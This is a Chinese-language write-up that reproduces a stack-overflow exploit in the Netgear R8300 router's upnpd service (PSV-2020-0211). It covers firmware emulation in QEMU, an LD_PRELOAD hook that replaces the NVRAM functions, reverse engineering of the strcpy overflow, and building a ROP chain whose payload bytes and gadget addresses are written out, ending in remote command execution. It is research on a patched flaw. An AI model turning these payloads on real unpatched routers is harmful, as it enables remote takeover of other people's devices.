PSV-2020-0211:Netgear R8300 UPnP 栈溢出漏洞
| 0 | 前言
本次的漏洞复现比较特殊的是环境搭建中的 hook操作,属于 iot安全研究中一个很巧妙的手法
我通过这个漏洞展现一个如何通过 hook绕过一些硬件的检测
| 1 | 环境搭建
1.1 下载
官方提供了固件的下载,根据官网漏洞报告于 V1.0.2.134 中修复了该漏洞,所以可以选取任意之前的版本,我选择的是 V1.0.2.130
下载地址 : netgear R8300
解包
依旧使用 binwalk解包
1 | binwalk -e --preserve-symlinks R8300-V1.0.2.130_1.0.99.chk |
可以得到两个文件系统(squashfs-root与 squashfs-root-0),我们任意选择一个使用
qemu模拟
我选择使用qemu的 system仿真模拟 upnpd服务
我们首先需要从 Debian 官网 下载内核,磁盘文件及镜像文件:
debian_wheezy_armhf_standard.qcow2
将这三个文件放在同一路径下,并创建启动脚本
1 | !/bin/bash |
使用scp目命令将文件系统传送到qemu中
hook操作
我们直接在qemu使用chroot以使用固件的文件系统
1 | cd squashfs-root/ |
运行upnpd,可以得到报错
1 | open("/var/run/upnpd.pid",O_RDWR|O_CREAT|O_TRUNC,0666) = -1 errno=2 (No such file or directory) |
于是我们在创建temp/var/run路径,再次运行upnpd,得到报错
1 | ./usr/sbin/upnpd |
这里提示我们的dev中缺少nvram
nvram是什么
NVRAM = Non-Volatile RAM(非易失性内存),
它是一种即使断电数据也不会丢失的“配置存储地”。
在很多路由器、交换机、IoT设备中,它专门用来存储设备的配置信息,比如 IP 地址、WiFi 密码、管理后台账号、MAC 地址等等。
可以看到在upnpd中对这些函数都有调用

nvram所处的区域一般都与硬件有关
- 独立的分区(比如
mtdblock2) - 某个 NVRAM 芯片
- 某种 flash 的最后一个块(比如 CFE NVRAM header)
但是我们的qemu仿真肯定没有硬件设备,所以我们要想一个方法使得这些函数不会进行硬件操作
Linux在运行动态链接程序时,会优先使用
LD_PRELOAD指定的动态库中的函数,如果这个库中定义了和系统库/程序中同名的函数,就会”覆盖”掉原来的实现,从而实现”hook”的效果
如果我们有一个包含所有所需Nvram函数的.so文件,并使用LD_PRELOAD对upnpd进行加载,那运行upnpd时所有Nvram的调用就会被劫持到我们的.so文件中,实现对硬件检查的绕过
通过readfile我们找到upnpd所依赖的库
1 | zer00ne@zer00ne:~/Desktop/cve_review/stage1/netgear/_R8300-V1.0.2.130_1.0.99.chk.extracted/squashfs-root$ readelf -d ./upnpd |
说明upnpd使用的是uclibc,而我们编写的.so(hook)也必须使用uclibc进行动态链接或静态链接
我选择在网上下载对应架构的gcc工具链编译.so,刚刚好网上有现成的hook源码
1 | arm-linux-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so |
将这个传送到qemu中,使用LD_PRELOAD加载nvram.so,依旧报错,已经解决了nvarm的问题了
1 | LD_PRELOAD="./nvram.so" ./usr/sbin/upnpd |
nvram.so 中用了 dlsym,但运行时无法解析 dlsym 的符号,说明当前运行环境缺少 动态链接库(ld)或动态链接器不兼容
我们对dlsym进行搜索得到/lib/libdl.so.0,该动态链接库导出了该符号
1 | root@debian-armhf:~/squashfs-root# readelf -a lib/libdl.so.0 | grep dlsym |
最后我们以LD_PRELOAD="./nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd运行,但仍然报错
1 | [0x3ff60cb8] fopen('/tmp/nvram.ini', 'r') = 0x00000000 |
我们需要手动修复nvram.ini文件,修复文件
1 | upnpd_debug_level=9(日志等级,可以适当调低) |
此时再运行LD_PRELOAD="./nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd
可以看到upnpd服务已被启动,环境配置完成
Hook流程的梳理
首先我们要知道,我们hook的几个函数的原本作用是从硬件中提取一些特定的字段,比如下图中的函数就是为了获取硬件中upnp_duration与upnp_advert_period字段的内容

但是我们没有硬件,所以如果使用固件包中的库函数acosNvramConfig_get一定会报错
所以我们自己写的函数hook掉了原本的acosNvramConfig_get之类的函数.
而相对的,原本要从硬件中提取字段,变成了从某个文件中提取字段,从我们custom_nvram.c源码中分析可以知道,是从"/tmp/nvram.ini"文件中通过open,fgets等操作将内容提取.
所以我们要把字段先提前准备在/tmp/nvram.ini这个文件中
1 |
|
1 | 硬件 --> /tmp/nvram.ini |
| 2 | 逆向分析
查看程序的保护
1 | [*] '/home/zer00ne/Desktop/cve_review/stage1/netgear/_R8300-V1.0.2.130_1.0.99.chk.extracted/squashfs-root/upnpd' |
开启了NX保护,我们就不能用shellcode了,但是好在elf很大,存在丰富的gadget与system函数,可以通过ROP进行RCE
将upnpd放入IDA中分析

找到一处recvfrom,向低地址处回溯套接字信息
我们可以找到所有对bind函数的交叉引用,逐个分析
1 | int __fastcall sub_C7E4(int a1) |
可以看到根据传入参数的不同,开启不同的服务(1500与5000)
我们对sub_C7E4查看交叉引用,可以发现只有一处引用sub_1C450
对sub_1C450交叉引用,可以发现两处引用,分别是
1 | fd = sub_1C450(1900);//我们分析的recvfrom |
所以我们向端口1900发送数据就会被第一个recvfrom接收

recv后的数据立马被传入vuln函数,buf最多可以输入0x1fff的数据
进入vuln中,我们可以看到一个明显的strcpy栈溢出漏洞,能溢出的长度非常长

| 3 | EXP编写
要注意strcpy存在\x00截断,而程序中的地址都存在\x00截断,这就造成直接ROP不可行
我们还必须找到最快的返回路径,这里我选择了通过进入两次strstr判断快速返回
注意我们在溢出前会提前覆盖content指针,而content会被用于strrig,所以我们必须把content复改为一个有效的地址
实际调试中我发现把content随便覆盖为一个栈地址就可以(如果alsr程度过大这里可能需要爆破吧)
我先使用这个脚本测试这几个字符串处理函数的行为
1 | from pwn import * |
将断点下在第一个strstr上可以看到,这里是从c开始判断的,如果我们想要快速return,就需要在c后填充带有NOTIFY且不带有"M-SEARCH"的payload

据此我们可以总结出这些的payload
1 | payload =b"NOTIFY"+b'a'*(0x600-6)+b'cccc'+p32(0x7effdc08)+b'a'*0x20+b"NOTIFYYY"+p32(return_addr) |
由于\x00截断,我们只能覆盖一下返回地址,就没了
这里我想到的手法是栈复用:我们注意到在strcpy中src位于dest的高地址处,且二者偏移固定,为
1 | ► 0x25e70 bl strcpy@plt <strcpy@plt> |
所以我们或许可以跳转到src中

我们覆盖返回地址的gadget需要将栈向上抬高0x630+,然后还要控制执行流,可以在ROPgadget正则搜索
1 | ROPgadget --binary ./upnpd --only "pop|add" |
我选择的是0x0001c154 : add sp, sp, #0x800 ; pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
我们根据长度计算好填充的paadding,得到
1 | payload =b"NOTIFY"+b'a'*(0x600-6)+b'cccc'+p32(0x7effdc08)+b'a'*0x20+b"NOTIFYYY"+p32(0x1c154) |
此时便不存在\x00截断,可以自由ROP
由于不存在可以直接控制R0的gadget,我便对所有R0相关gadget都搜索了一遍,最终发现了一个符合要求的
1 | ROPgadget --multibr --binary=./upnpd | grep "R0" |
这个gadget等效于strcpy(R4,SP);ADD SP 0X400;POP {R4-R6,PC}
而R4是非常好控制的,我们就可以把cmd写在栈上,然后复制到bss段,最后跳转到system实现RCE
同时因为add sp,sp,#0x400还需要继续计算padding
| 4 | 最终EXP
1 | from pwn import * |
我们启动upnpd服务,最终执行了ls -al命令,成功RCE
